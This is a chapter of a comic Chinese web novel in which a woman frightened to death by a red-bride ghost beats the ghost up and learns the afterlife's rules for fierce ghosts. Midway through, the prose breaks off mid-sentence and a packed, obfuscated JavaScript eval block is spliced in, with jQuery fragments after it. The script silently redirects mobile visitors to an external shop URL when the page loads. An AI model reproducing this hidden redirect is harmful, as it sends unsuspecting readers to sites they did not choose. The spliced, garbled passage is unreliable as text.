客厅很久没有动静。
姜禾收拾好心情,提着根棒球棍回到房间。嫁衣女鬼隔着老远的距离跟在她身后,摸着自己那张鼻青脸肿、没一块好肉的脸,时不时偷偷瞟姜禾几眼,眼神里还带着点后怕。
“都说打人不打脸,她倒好,专挑脸揍。”她小声嘀咕:“这下好,丢死鬼了。”
听到门口传来的动静,在手办柜前正小心翼翼尝试把手办恢复原样的胖子和小女孩连忙转过身,低下头,做老实状。
胖子悄咪咪抬眼,飞快扫了眼两鬼,看到嫁衣女鬼的惨状差点笑喷出来,又瞬间把脸埋下,肩膀开始抖动。
嫁衣女鬼精心绘制的厉鬼妆现在彻底看不出原状了:
额头上顶着个蜡笔小新同款大包,两团原本对称的腮红一个跑到了太阳穴,一个快掉到嘴角。血红的嘴被揍得歪成了耐克勾。
最要命的是眼睛,左边眼睛里的美瞳不知道什么时候掉了。现在她一只眼睛是正常的黑眼珠,一只眼睛是恐怖片的同款纯眼白。两只被揍成缝的眼睛各有各的功能,一只泛着委屈,一只在索命。
胖子死死咬住嘴唇,掐着自己大腿,整张脸憋得通红,五官都扭曲了。
姜禾走到自己尸体面前,做好的心理建设瞬间稀碎。
她蹲下来,想摸摸自己。手一伸过去,直接从尸体上穿了过去。
姜禾愣住,鼻子一酸,球棒掉在地上,往前一扑,整个人从尸体上穿过去,趴在地上嚎啕大哭。
“老天爷啊!我死得好惨啊!”
时间回到半小时前。
姜禾终于打累了,仍然跨坐在嫁衣女鬼身上压制着她,揪着她领子,喘着粗气恶狠狠地问:“说!我们俩什么仇什么怨啊?把我往死里吓!”
嫁衣女鬼肿着一张脸,嘴还歪着,含糊不清地吐出几个字:“毛......毛仇毛怨呐......”
“那你这么整我?”
“介……介就嗦来话长了。”
姜禾揪着嫁衣女鬼血呼啦次的肿脸用力蹂躏:“那你就长!话!短!说!”
“嗷嗷嗷!我嗦,我嗦!做鬼也素有KPI的嘛!”嫁衣女鬼赶紧按住姜禾的手,自觉往下说。
“做鬼很难的啦!”嫁衣女鬼说话漏风,但语速飞快,生怕姜禾拳头又落下来。
“你们这种孤魂野鬼,只能靠家人的祭奠维持存在。要是没人祭奠,遗物也给你扔了,你们的鬼生就进入倒计时了!30天以后就会魂飞魄散!”
“要想一直活下去,只有两个办法。一个是考编进鬼委会,这个你就别想了,几百年都等不到一个编制空出来。另一个办法......”
嫁衣女鬼顿了顿,努力睁大那条仅剩的缝,挤出一点神秘感:“申请厉鬼证!拿着厉鬼证,想着你生前最恨的事,你就能让活人看见你。吓的人越多,流传越广,成为都市传说,你就能成为新一代的鬼天后!能活多久,就看你的恶名能流传多广!”
“鬼?什么鬼?你真是鬼?”姜禾回想起刚才灵异的经历脑子乱糟糟的,对装神弄鬼的这番话将信将疑。
嫁衣女鬼点点头。
顿了顿,又小声补了一句:“现在你也是了。”
姜禾的拳头又提了起来:“你在这胡说八道什么呢,没挨够打是吧!”。神神鬼鬼的事先抛到一边,二五渣战斗力的手下败将还敢激怒自己,让她体验一下什么叫砂锅大的拳头!
“诶等等等等,祖宗!”嫁衣女鬼往后一仰,抬起两只胳膊架在面前:“我说的都是实话啊!你摸摸你的脉搏,摸摸你的心跳,是不是什么都感觉不到了?你现在都不用呼吸了!”
她从胳膊缝里往外瞄,偷偷观察姜禾的神情,那条缝努力睁得更大了一点。
姜禾愣了一下,伸手摸向脉搏。
没有跳动。
又按了按胸口。
没有起伏。
再摸颈动脉。手指贴上去半天,冰凉一片,什么动静都感受不到。
姜禾僵在那儿:“骗人的吧……”声音轻得自己都快听不见。
“我死了?”她抬起头,把嫁衣女鬼挡在前面的两条胳膊掀开:“我什么时候死的?”
“大概,可能,也许......就刚刚,在房间里的时候,被吓死的?”
嫁衣女鬼眼神漂浮着左看右看,就是不敢和姜禾对视。声音越来越小,最后一句话含在嘴里,囫囵着就混了过去。
“好啊,你就是罪魁祸首是吧!”姜禾看到那件大红嫁衣就火冒三丈,后悔刚才打轻了。
“我可以补偿你!我有编制,我是鬼委会元老,厉鬼考核我给你免了,直接拿到厉鬼证!”
“你有编制还出来吓人?”
完了,说漏嘴了。
嫁衣女鬼缩了缩脖子,眼神又开始到处乱瞟:“总之,惊悚是门艺术,我这一身吓人绝学可以倾囊相授!你看我刚才那一套动作不错吧,有我的运作,你就是下一代的鬼天后!”
姜禾看着嫁衣女鬼心虚的动作,眯了眯眼,手轻轻搭在嫁衣女鬼的脖子上,语气温柔:“我再问一遍,你有编制还出来吓我做、什、么!”
“我也是一时鬼迷心窍啊!都怪我那个马威,一个大男人,天天长舌妇一样挑拨离间,他说现在的鬼天后一代比一代厉害,那个洁西卡的灵异视频的点子就很适合现在的网络时代,比我们这些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948940|214112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老鬼当初吓人的方法有创意。”
她说着说着,自己先急了。
“我呸,谁跟他‘我们’了。KPI一辈子达不了标,他就是个弟弟!懂个锤子艺术!灵异视频那点子流行多少年了?抄袭硬说成创新。要不是贞子当年KPI没完成,厉鬼证续不上,她都得从井里跳出来敲他的头!”
“况且——”她猛地挺直腰板,哪怕肿着一张脸,也显出几分傲气。
“我云三娘当年也是响当当的大人物!长官手底下的第一鬼才!当年我的都市传说那叫一个铺天盖地、源远流长!现在的这些天后算什么?等我云三娘重出江湖......”
“所以......”姜禾阴测测的声音插进来,脸凑到她面前,鼻尖对着鼻尖:“你就为了这种无聊的名声,把老娘活生生吓死了?”
“嘿嘿。”云三娘骄傲的胸膛又塌了回去,她挤出一个讨好的笑,脸上的伤口裂开,血流下来覆盖在半干的血渍上:“做鬼也没什么不好嘛,生前无法永生,死后寿与天齐!”
“老娘银行卡里七位数存款还没有花完!”姜禾的吼声差点把房顶掀翻。
“寿与天齐有个屁用!本姑娘年纪轻轻,还没开始享受生活!”
她瞪着眼前这个缩成一团的红嫁衣女鬼,胸口剧烈起伏。她觉得自己还能被这个云三娘再气死一遍。
花了点时间让自己冷静下来,姜禾终于放过了云三娘。她爬起来坐在沙发上,手肘撑在大腿上,俯下身把脸埋进自己的掌心。
云三娘躺在地上不敢动弹。她一点一点地侧过头,用那只还戴着美瞳的眼睛偷瞄着姜禾。
姜禾半晌没有动作。
云三娘小心翼翼地爬起来,蹑手蹑脚地往门口走去。
“去哪?”
姜禾直起身子,手往靠枕背后一摸,再伸出来时,掌心里多了一根黑色的棒球棍,棍身布满细密的菱形纹理,手柄处金色金属质感的护手和尾端在微弱的灯光下闪着低调又嚣张的光。
云三娘脸上堆出这辈子最真诚的笑容:“我去洗脸!对,洗脸!你看我这一脸血,把你地都弄脏了,这多不好意思?顺便拖地!对,拖地!”她脚跟猛地用力,硬生生在地上转了180度,一边说一边往洗手间方向跑,速度快得像开了二倍速。
云三娘冲进洗手间,“砰”地关上门,背靠着门板滑坐到地上,捂着胸口大口喘气。
门外传来一句漫不经心的声音:“洗完赶紧出来,咱们聊聊赔偿的事。”
云三娘低头看了看自己满是血迹的嫁衣,又看了看镜子里那只掉了一只美瞳的阴阳眼,欲哭无泪。
要不……这辈子就住在洗手间算了。